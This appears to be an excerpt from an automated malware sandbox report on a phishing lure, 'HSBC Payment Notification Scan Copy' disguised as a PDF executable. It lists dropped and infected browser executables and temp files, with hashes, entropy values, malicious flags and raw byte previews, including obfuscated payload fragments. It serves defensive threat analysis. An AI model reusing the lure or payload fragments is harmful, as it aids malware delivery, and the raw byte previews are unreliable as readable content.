Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......D/......... ..........@..............................L.......K... ...........................................6.N.....6.......<......P:.l.....................6......................6.(...`s/.@.............6.8.....6.@....................text....C/......D/................. ..`.rdata......`/......H/.............@..@.data...4:....8.......7.............@....pdata..l....P:.......9.............@..@.00cfg..0.....;.......:.............@..@.gxfg....1....;..2....:.............@..@.retplne.....0<.......:..................tls....A....@<.......:.............@...CPADinfo8....P<.......:.............@...LZMADEC......`<.......:............. ..`_RDATA..\.....<.......:.............@..@malloc_h......<.......:............. ..`.rsrc.........<.......:.............@..@.reloc... ...`C.......A.............@...........................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.134\chrome_pwa_launcher.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2156544
Entropy (8bit):	6.947515475098851
Encrypted:	false
SSDEEP:	24576:LtjqL8fHv8aUbp8D/8+xQWAV/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:xjKKv81FI/85rLNiXicJFFRGNzj3
MD5:	3EDA60883FBF69D95EACD7A0CEA03B6A
SHA1:	A7A045B8234C0CEF8D92147CF2C783352C03C2F6
SHA-256:	9CEB04A1E95728B6274085FF2E7F3DDF99A0A3B461600D01F5C7E37BDB95EEA7
SHA-512:	8EA8059E587259A6014EB4D2B88BC595DF9DF3676CA0AFBE68F5B04D0743988D1C19BA31328D373251F757C47BC531EFB546E5DB62BCA00F235FC1D3E0F6B6C7
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."......F.....................@.............................P".....Xi!... ..........................................X..\...$Y....... ...&......(...................lM......................PL..(...pr..@............_...............................text....D.......F.................. ..`.rdata..$....`.......J..............@..@.data...,.... ......................@....pdata..(...........................@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne.................................tls................................@...LZMADEC............................. ..`_RDATA..\...........................@..@malloc_h............................ ..`.rsrc....&... ...(..................@..@.reloc.......P......................@...................................................................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.134\elevation_service.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2370560
Entropy (8bit):	7.027357521577748
Encrypted:	false
SSDEEP:	49152:FAMsOu3JfCIGcZuTodRFYKBrFxbWplLNiXicJFFRGNzj3:FAMa3PZuTSe7wRGpj3
MD5:	68179C7A7DE0B1ED4B910C5C60143191
SHA1:	ADD0D8C57FB2D0EFD2A5B74607D2E25CE0FEB01A
SHA-256:	86A448595195FA3F0B9EC2A0FDB32C14080DE5967F7A787EE6E1693521B0919E
SHA-512:	F44A504C55AE6A4DFC900967C30FCD8D86A209C0FA0A39A1A256F3DDCE6AAE40912F322EB7A12065FF59D4043AD954E311B31770FCC7913447C77ECA744EC3A0
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e..........".................0..........@..............................%......\|$... ..........................................}..Z...Z}...............@..`...................$k.......................j..(.......@............... ............................text...V........................... ..`.rdata..Hv.......x..................@..@.data...t....`.......>..............@....pdata..`....@.......6..............@..@.00cfg..0...........................@..@.gxfg....+.......,..................@..@.retplne.....@...........................tls....A....P......................@..._RDATA..\....`....... ..............@..@malloc_h.....p.......".............. ..`.rsrc................$..............@..@.reloc...............<..............@...........................................................................................................................................

C:\Program Files\Google\Chrome\Application\117.0.5938.134\notification_helper.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1984512
Entropy (8bit):	7.098289029587309
Encrypted:	false
SSDEEP:	49152:OSK7Fhsly2EPfOfEQLNiXicJFFRGNzj3:DU2cBQ7wRGpj3
MD5:	FD78FBB2F561639B1ED86E5A8E587A52
SHA1:	F85940EC9506C8743C5459261C087A909F6DC1F2
SHA-256:	03F76724A56A6292DF43A0C38B7056D85B0C71B5E59C72943FB730FFFF6CB2EF
SHA-512:	A4650939DC67804A859DE4F801EBB96D9BBE428682E86379D6CCC3341A878AF08755BB32EC91C21648A1D9F9F58CF9D9D8A851559F87ACA2FE0F3ABDC4F983BB
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."............................@....................................Q<.... ............................................\...$................p..t...............................................(...P...@...........x...x............................text............................... ..`.rdata..............................@..@.data................z..............@....pdata..t....p.......x..............@..@.00cfg..0...........................@..@.gxfg...@-... ......................@..@.retplne.....P.......D...................tls.........`.......F..............@...CPADinfo8....p.......H..............@..._RDATA..\............J..............@..@malloc_h.............L.............. ..`.rsrc................N..............@..@.reloc...............X..............@...................................................................................................

C:\Program Files\Google\Chrome\Application\chrome_proxy.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1779712
Entropy (8bit):	7.151364902018391
Encrypted:	false
SSDEEP:	49152:Uv7e0j11mD+/wDfb+LNiXicJFFRGNzj3:ODx1mz+7wRGpj3
MD5:	F920B8DA31BA119EDD7CD8AFA3B9186B
SHA1:	E41C284D29EF321036D5234D467FAD1A0899EF4B
SHA-256:	10E5C1DF77F6F619A096F1D72107F4FC653CF4DEB5736088DBE707A7EDA41587
SHA-512:	AC43DF90FE4045EB318F87EA1DE7AC0DD1577022B40D04A33629CC24F338FB0DA288709E7DF1D150135140DCF8D35CFAB70C6C5C9EEF94E99AEF79DBB187C0F3
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e.........."..........B.................@.......................................... .........................................X...U...............x....p.................................................(...`2..@...............X............................text............................... ..`.rdata..,w... ...x..................@..@.data...............................@....pdata......p.......x..............@..@.00cfg..0...........................@..@.gxfg....).........................@..@.retplne.....@.......&...................tls.........P.......(..............@..._RDATA..\....`.....................@..@malloc_h.....p.......,.............. ..`.rsrc...x...........................@..@.reloc...............8..............@...........................................................................................................................................

C:\Program Files\Mozilla Firefox\crashreporter.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1533952
Entropy (8bit):	4.933091317008658
Encrypted:	false
SSDEEP:	24576:sKhSK/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:sQLNiXicJFFRGNzj3
MD5:	46A88030650B69A1D77D639BE797C089
SHA1:	AC9E2A29735AD0976BF924E802E8DC9C85564546
SHA-256:	23C6EF2B3257F139C5D54C116224CC19712A2514B770D1E8C2F8BB417FD6ED75
SHA-512:	C86640AAD2809ADF7121E67E7E8B2285C2CB1E94878A19BF25984EEE02E09E7D8FB1C21025FA9B927A323BED5E08C08BE6F5A2937EFCDE56160C99971A86AD9E
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."............................@.............................."........... ..................................................................P......................T...........................(...p...8...........H................................text............................... ..`.rdata...h.......j..................@..@.data........@......................@....pdata.......P.......0..............@..@.00cfg..(....`.......@..............@..@.tls.........p.......B..............@....voltbl..............D...................rsrc................F..............@..@.reloc...`... ......................@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\default-browser-agent.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1286656
Entropy (8bit):	7.213926379706895
Encrypted:	false
SSDEEP:	24576:EsFfc1VyFnTUQn652bO4Hl/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:EsFcInTrJ7LNiXicJFFRGNzj3
MD5:	5ECF9FFAC9C1BEF34D4D30E58F65417B
SHA1:	C6446F12C1BFF4DBC7E9C94219E9CB6B62D202CF
SHA-256:	AA0F63BF4D1E019952B058F7EA4995413B882C6B4559352A66FD121DA9248352
SHA-512:	BAC8FC6394A1CC1168FDE52011A9470AAA646B6D421CF7FFE20923759776BC3525A9C5A6D8A7FDA584EDB80597FCDD77E0C1D29CC22BCB8BB9B16E8CA46B00F1
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......6..........pX.........@......................................... ..........................................J.......K..........`........%..................DA..........................(...`...8............V...............................text...V5.......6.................. ..`.rdata...O...P...P...:..............@..@.data...............................@....pdata...%.......&..................@..@.00cfg..(...........................@..@.tls................................@....voltbl..................................rsrc...`...........................@..@.reloc....... ......................@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\firefox.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1246208
Entropy (8bit):	7.48557704963998
Encrypted:	false
SSDEEP:	24576:nt9j6p4xQbiKI69wpemIwpel9u/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:nt9+aQbtl2peapel8LNiXicJFFRGNzj3
MD5:	550EA7B872B92DB4344DE6F7F5BD465D
SHA1:	4856B577FA322AE14D4C42CEC92A87EC16BAD0A2
SHA-256:	B071F12A9EB3502AA1B5CBC11235B9A725CAAA62852D270507F8633120A6E91C
SHA-512:	1DDCEE4097858BAABF0EA8325077EEA358E0D807158CED92A9660545A7EED89C93FD55DF22171FB928A453649A4A5DDDBC12F60EF586A185CED7263A31B394F7
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......$.....................@.....................................m.... .................................................g...h............P..t%..................4........................k..(....@..8...........P...........@....................text....".......$.................. ..`.rdata.......@.......(..............@..@.data...p+... ......................@....pdata..t%...P...&..................@..@.00cfg..(............2..............@..@.freestd.............4..............@..@.retplne$............6...................tls.................8..............@....voltbl..............:...................rsrc................<..............@..@.reloc...............$..............@...................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\maintenanceservice.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1512448
Entropy (8bit):	4.89787576946359
Encrypted:	false
SSDEEP:	24576:tQVTZu0Jd/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:GVTZusLNiXicJFFRGNzj3
MD5:	DB9DAC65C2D1052E2BAC162684DBD6A4
SHA1:	7E502F6157C6172FB5CB82E646FD14030CF57C5F
SHA-256:	218FA228238EF44002F8F720B3372C91687798870390A04C13FAF83C9DBC75E4
SHA-512:	B9D1345E5BED23B2B90AC71A3CB0D801427DE1DD6AE0D1D3919A47CE0928A7B243B4C9062755C39328B3181DBE95E3916B47D8E82D8446240D4B6DBC4784C4DF
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......R...$.................@.............................`".....G].... .................................................h&..................`....................$..........................(....p..8............,...............................text...FQ.......R.................. ..`.rdata.......p.......V..............@..@.data...4#...`.......<..............@....pdata..`............J..............@..@.00cfg..(............d..............@..@.tls.................f..............@....voltbl.*............h.................._RDATA...............j..............@..@.rsrc................l..............@..@.reloc...`...........t..............@...........................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\minidump-analyzer.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1344000
Entropy (8bit):	6.7983879700794505
Encrypted:	false
SSDEEP:	24576:8C1vpgXcZ/zr/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:8C1vpIc9rLNiXicJFFRGNzj3
MD5:	3563E4DA1C2DBACF554C51949192F618
SHA1:	2DF42269B4608FC3F8206210A25880685C580254
SHA-256:	B5B7D6E5D70970F688F97B2BAA3E9FB0EC6C77F90BAE5A6BBB7AF700597DDC7F
SHA-512:	35C5D10A8072BBF8CD1A2D618304BF7DCB135EE3A7CA6175DBF6D036C9FCFB72BC36BF3A4864FA8A6FCB40F4EB987A2D3F78D004C77502325EE77A9A64E9E909
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......T...H......0..........@....................................7..... .........................................................................................T........................r..(....p..8...............`............................text...fS.......T.................. ..`.rdata.......p.......X..............@..@.data....2...@...,..."..............@....pdata...............N..............@..@.00cfg..(............d..............@..@.tls.................f..............@....voltbl..............h...................rsrc................j..............@..@.reloc... ...........r..............@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\pingsender.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1355776
Entropy (8bit):	4.651130323907116
Encrypted:	false
SSDEEP:	24576:FSv/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:QLNiXicJFFRGNzj3
MD5:	D27B2B2743008EEDADEBCF92D9216436
SHA1:	87A807BC6620F53E118C5760F5F8EC9B36B116DC
SHA-256:	ACE36A6490565BC50020EF1C611D92DEC38D13D21DEE5C1C87EB60A527C990F0
SHA-512:	C50E5ECCEBCB635EF9BB34B66B739F58285DF6D7579B54FD5D8C968386456A30AF79F6DF85E1D1C8678B1CA7B4E824CC1208D8DD8C921E03FB93D1AB4FE689CE
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."..........b......`..........@.......................................... ..........................................................`....... .. ...................t...........................(.......8............................................text............................... ..`.rdata..dM.......N..................@..@.data...............................@....pdata.. .... ......................@..@.00cfg..(....0......................@..@.tls.........@......................@....voltbl......P...........................rsrc........`......................@..@.reloc...`...p......................@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\plugin-container.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1564160
Entropy (8bit):	5.002300604770758
Encrypted:	false
SSDEEP:	24576:4WDntIfGpt/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:zZIeTLNiXicJFFRGNzj3
MD5:	0E1104F07AF738BDC80962244A071D2F
SHA1:	24340778B0C0AAB4363A83444C0B6F74ADC81B30
SHA-256:	753AF73A4B28276B28FA2943BDE74D5B55FBE21B44246EB526ED1F0348CFB690
SHA-512:	57643FD46F392DD46173C44684A2371E5E1950B7E2D901116E2C7E770123E26E4BD27A05A84FCDC3E816613CEF70D0FED63A34C72F3CB1179A8644D8CCF49FD3
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......~.....................@..............................#.....ph.... .....................................................@.......P....P.................................................(... ...8...................8........................text...w}.......~.................. ..`.rdata..,...........................@..@.data...0%... ......................@....pdata.......P......................@..@.00cfg..(....p.......*..............@..@.tls.................,..............@....voltbl..................................rsrc...P............0..............@..@.reloc...`...........>..............@...................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\private_browsing.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1340928
Entropy (8bit):	4.611595878185602
Encrypted:	false
SSDEEP:	12288:dIhHiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:oz/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	40D30B8AE9E2DA6D3553001F90EF8B1D
SHA1:	847CEA4D8B47A202C3454281744EE95AA7CDB03F
SHA-256:	952A2A62EB35F0F9131382B7760F6BF5673AE2B63A5C57E39F7379F72D84687E
SHA-512:	0744E57F399A51630A2567C45A1EE862A4A45575BADB9F800317A3AC4AF513C4567488F8BE7E0C36E51C8B4D57751847CDCA74ABE705DF23E602C7CF2F202424
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e..........".................p..........@.......................................... ..................................................6...............`..4....................5..............................`0..8............:..H............................text............................... ..`.rdata.......0......."..............@..@.data........P.......8..............@....pdata..4....`.......:..............@..@.00cfg..(....p.......>..............@..@.voltbl..............@...................rsrc................B..............@..@.reloc...`...0......................@...........................................................................................................................................................................................................................................................................................................

C:\Program Files\Mozilla Firefox\updater.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1687552
Entropy (8bit):	5.015372375315118
Encrypted:	false
SSDEEP:	24576:P8oRswt2ioQ3J+R+/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:P8oRxoF+LNiXicJFFRGNzj3
MD5:	48A604651F551E7A4547D1F422C7955A
SHA1:	95F12DDB662891F5076D011463C9B03DA727D26F
SHA-256:	3BC895C9D57DEEED663A591DD50EEE25F6A2D4CE1CAEDB8A4CE52043AB18088C
SHA-512:	5E91D9F67D21D2E7C6536707B2A2A8E6767478D2C2CC63B8808EAC243C027FE7D0CE94D2022097476374C92965B71432E909741775DE238B789DC9BDCC5E4247
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......N...........B.........@..............................%........... ..................................................;.......0..X~....... ...................6..........................(....`..8...........0B..H...H9..`....................text....L.......N.................. ..`.rdata.......`.......R..............@..@.data....>...........h..............@....pdata... ......."...v..............@..@.00cfg..(...........................@..@.tls................................@....voltbl.<..............................._RDATA....... ......................@..@.rsrc...X~...0......................@..@.reloc...`........... ..............@...........................................................................................................................................................................................................................

C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1497600
Entropy (8bit):	4.7911139359160755
Encrypted:	false
SSDEEP:	24576:Cf8HQlTMxHwJ07w+/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:CkHQlawJ09LNiXicJFFRGNzj3
MD5:	03751B15C62196B5EBA12EC2127EFB85
SHA1:	26CD9E16656720F74CCC8CADAA6304A4F54EF4BE
SHA-256:	C49FB2D77916BD068A411DBA510C8D75CC47FA91E7703E8DA0013F0A147B3A93
SHA-512:	CB256DDCA2DC4B0C041AE38E900F0BF65074ED76F7373D26C317C1107FB202BF9D63DE49FD14C159A815A4F6A9E686363488B8CCB3E42C25E9D6A63840FFABC4
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........x..............a.......r.......r...............r.......r.......r.......ry......r{......r......Rich....................PE..d...B{.?.........."............................@..............................!.....nQ.... .......... ......................................8b..........................................T.......................(...................@...(...pa..`....................text............................... ..`.rdata..............................@..@.data....&...........z..............@....pdata........... ..................@..@.didat.. ...........................@....rsrc...............................@..@.reloc...`...........:..............@...................................................................................................................................................................................................................

C:\Program Files\Windows Media Player\wmpnetwk.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1534464
Entropy (8bit):	7.117174764915904
Encrypted:	false
SSDEEP:	24576:qSEmYD6gjGPG45QVDkfX4lyTy9/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:q5mYD6g2GWQVQfeyTaLNiXicJFFRGNzb
MD5:	2AF329B1E049D29D9351F6429670704F
SHA1:	77CEA480ECFCA581F4F89B2CFA0127FD19DA18E3
SHA-256:	DCEE74DB8F02F850DCE9742A2971D821F3391E424CC18E13736B593C8613B18B
SHA-512:	1806AADC3160C05B324C22526E3DB0FDA763EA0E3732B1E9DB47F3939898B03E886BEC6350044A4536F7C1435E83A0BE0246D971C465082ECCDFF8AA56F374F2
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."x..f..Ef..Ef..EoaKEd..Err.De..Err.DB..Err.Dh..Err.D}..Ef..E...Err.D]..Err'Eg..Err.Dg..ERichf..E........................PE..d..."..m.........."..........4......@:.........@.....................................j.... .......... ..........................................,............`...N.................. ...T...........................p...................X...h...@....................text.............................. ..`.rdata...\.......^..................@..@.data....Y.......8..................@....pdata...N...`...P..................@..@.didat...............l..............@....rsrc................n..............@..@.reloc..............................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Grinnellia

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	143378
Entropy (8bit):	2.992349993841804
Encrypted:	false
SSDEEP:	96:AIXLr4j+F05BmsDo6Mi0Fl7dSA6+8DdfD9CGcuY9Ihyvuu3srWVjjGqnBaAJZdjR:H30jU7axIGcuY9Ihyvuu3srWVeqnBaA
MD5:	FA1714936B286E57B46653F77235A3A8
SHA1:	854732BB09F435AD59281A4E9DAFA7D0EC160FF1
SHA-256:	E1C3EF3E7D679C3F677189D3784A2C2AAC65D355D60EEBE93AF03B593B3A31C6
SHA-512:	F6EF27ABDAC119DEC399B4054826A4B6B2CDBAB40A71DDF5E5CFB0F4A82B27D2ADFBB473612F8FE2C331A539B42021FF17BCF0AC67C62C4A88E0277FC16F1E6E
Malicious:	false
Reputation:	unknown
Preview:	dowp0dowpxdowp5dowp5dowp8dowpbdowpedowpcdowp8dowp1dowpedowpcdowpcdowpcdowp0dowp2dowp0dowp0dowp0dowp0dowp5dowp6dowp5dowp7dowpbdowp8dowp6dowpbdowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9dowp4dowp5dowp8dowp4dowpbdowp9dowp6dowp5dowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9dowp4dowpddowp8dowp6dowpbdowpadowp7dowp2dowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9dowp5dowp5dowp8dowp8dowpbdowp8dowp6dowpedowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9dowp4dowp5dowp8dowpadowpbdowp9dowp6dowp5dowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9dowp4dowpddowp8dowpcdowpbdowpadowp6dowpcdowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9dowp5dowp5dowp8dowpedowpbdowp8dowp3dowp3dowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9dowp4dowp5dowp9dowp0dowpbdowp9dowp3dowp2dowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9dowp4dowpddowp9dowp2dowpbdowpadowp2dowpedowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9dowp5dowp5dowp9dowp4dowpbdowp8dowp6dowp4dowp0dowp0dowp0dowp0dowp0dowp0dowp6dowp6dowp8dowp9

C:\Users\user\AppData\Local\Temp\aut7315.tmp

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	data
Category:	dropped
Size (bytes):	65908
Entropy (8bit):	7.899556468920535
Encrypted:	false
SSDEEP:	1536:yHspIawXuPvaiTfvYkZ2q2eWIs15PqHtORBdW4poejitrPXu:yHsiRERTHJZr2eWI0PGOtW4pTjUr/u
MD5:	2291D7D715A21902A07FCDE81A8EC59D
SHA1:	57B09D827A7523466AC332AD76965436A35C4E3F
SHA-256:	CBCF58B1C2C51062CDD2D50549A8FF729008C4A6751FB367C6AC1C06A88EA710
SHA-512:	9B3299F4D940E995D10E5A630AD01DF946979005CF5BDA519B8107D1B0465067790B56201A4E3659F8D5D09279B5A3A5A519DD99E3D0B1371414D3DC0AF1888C
Malicious:	false
Reputation:	unknown
Preview:	EA06..n.........R..4}.&.O.U.5J.&qY.......X.M.4.@..i.... .X.U.Uz.....z.P..1^.O-.y..c;..-..w=..r+e.Y!.O..H...y.M.2{.~.L..,f3..Rn..ec.x.x..5.....E..O.U(UZ.....M^.t..?4..B+R.....f.L...,.kZzl.M.......hTZ......i.8.f+.....5x.P.c.:8....P. !.....o.U. ...X.@...e.......i...&aW..+`.....I.^'t.\..X.....8.aI.,&Up...6....Yd.s.Vh`..J.F..@...$.k...0P...K..7Q..b.T..d.z}c......X...f.5Op....-uf.J........lS.UJmJ.A.,...X..........Z....... .......\.,$..........p..p.XL@..]B.Y......>.....9...+.P......G.Qot.Ew.V.Rg..eb.H..htj...6..y.:MR.:..i....!G.B...E<.(.N...N.[...u.v.a.M.7jE^.T.[....6.B..m6J...?.h/..=..8...UZ.~MJ.`9...f.V.B...-..<.T.t+........zm..c.I.U....R..%..d.d._mr..&q].V/.K..4...j.SW....."...Uj.;e..2.+).Y7.I._...?R..6......U....7X.......A.G,t....T.Rb..}b.B..(s....2..&.@."....!.]Rv.XO...}..........U.bh..2m_..#`.TP....(tj...y....{.2.I.Vl...R...]...#H..\| .Ef.[.Z.R.%Vuf.Viv(.&.-.......1e.^p..N.b.......v.M./...4.!;z.....B ..X..!=.M[Q\..i....Q...(.+(...U*...>e...

C:\Users\user\AppData\Local\Temp\aut7355.tmp

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	data
Category:	dropped
Size (bytes):	14596
Entropy (8bit):	7.635598712147525
Encrypted:	false
SSDEEP:	384:ITYznwMNeAOPPYLDfvWME/eTk5mUOY/l3FDKf3isCLbh:IAwJV8DfvWkOL93FDKasCXh
MD5:	B48A4597F4E86165FCB59399257909C1
SHA1:	4A13D4102E4B18D8D24AA8993F4A7745E01B2A63
SHA-256:	6BC3DF8C955DE1276BB11455D5DAD6FAED98192F48139D111800E34598522947
SHA-512:	9C14C8125DE5B54C00339A83736BA012B7380BE0DA47038C9316CB8C8B07297D12665F1A2F69BDB69AE105B6C54E24CAFDBA2B2A52C3560AA040C7513C9F791B
Malicious:	false
Reputation:	unknown
Preview:	EA06..0..[.....+x..f....... .V......71...@.x..L........`......8............`.......Z\|3@...@.........K.X@0.2.Z..Z>)..w.e....l !..m..;...\| !.....;....;.....l.;.0./.<.;...m..rd.....@->.....4....f.C.5..;.............r.....X.<>`.O..p.........!.........h.=..........<\|3.....c...h.. -...... ...X.Z?......(...(.G..4.h....x....M@N.......Z?.I.......N@R... ...5.(..,.._...k`........R...._.K..?d...B.... 7W.......n.../.~.....)...@...!K....h\|!._....ga._.5.1.....`v/.......NA...,...7.7.,..!6.b...Z?.K(-...0.h..&.._....' -.............-..........G.6.....d_.T......"....d_.(M..57....n.....`...L....K.L..6.s.A.?..L.......Bg>...w.36.... !...L...}....\|V.4..r......$............r..9....>.....2... ...b....`......k.(.....!`....,......V1`..f....X.>i.v'.3c.........G.4....E.?......9..X.......7...l.`..."...\.61*........f.....\|.`.O.......,`........nl,....C.`....p...Y......`....@n?..;g....0...d...l ...P.?'....}...........0...4.X...>y.....1......x...L.\.i.....)...@n?............b...@.>y...

C:\Users\user\AppData\Local\Temp\gobioid

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	data
Category:	dropped
Size (bytes):	93696
Entropy (8bit):	6.868568315377798
Encrypted:	false
SSDEEP:	1536:EGzcAcNLGdG+R7vzDChKkudDX3rf2/p4aEGPxbUbb0SLczhVPJ/rFh:7cA0LGdBfIKkupr6XEkxqb0lph
MD5:	FDAD0D8DA0849142021EFD83808D474A
SHA1:	D1B94552E5F9E89ADE83D03AFAE3CDF42FCF4307
SHA-256:	1B08749B183A40AA06DE4549D1E97758BFB59BFAD279351356E3C9A6F27F5FC5
SHA-512:	3539D9FE32EB79B3D84315D3B8059AE4E001ABB86887E53363FC273EE8AD139A4945FE13B40F62345B778FD75BD17320212758F424CA8DCE4E8D5B519FA354A0
Malicious:	false
Reputation:	unknown
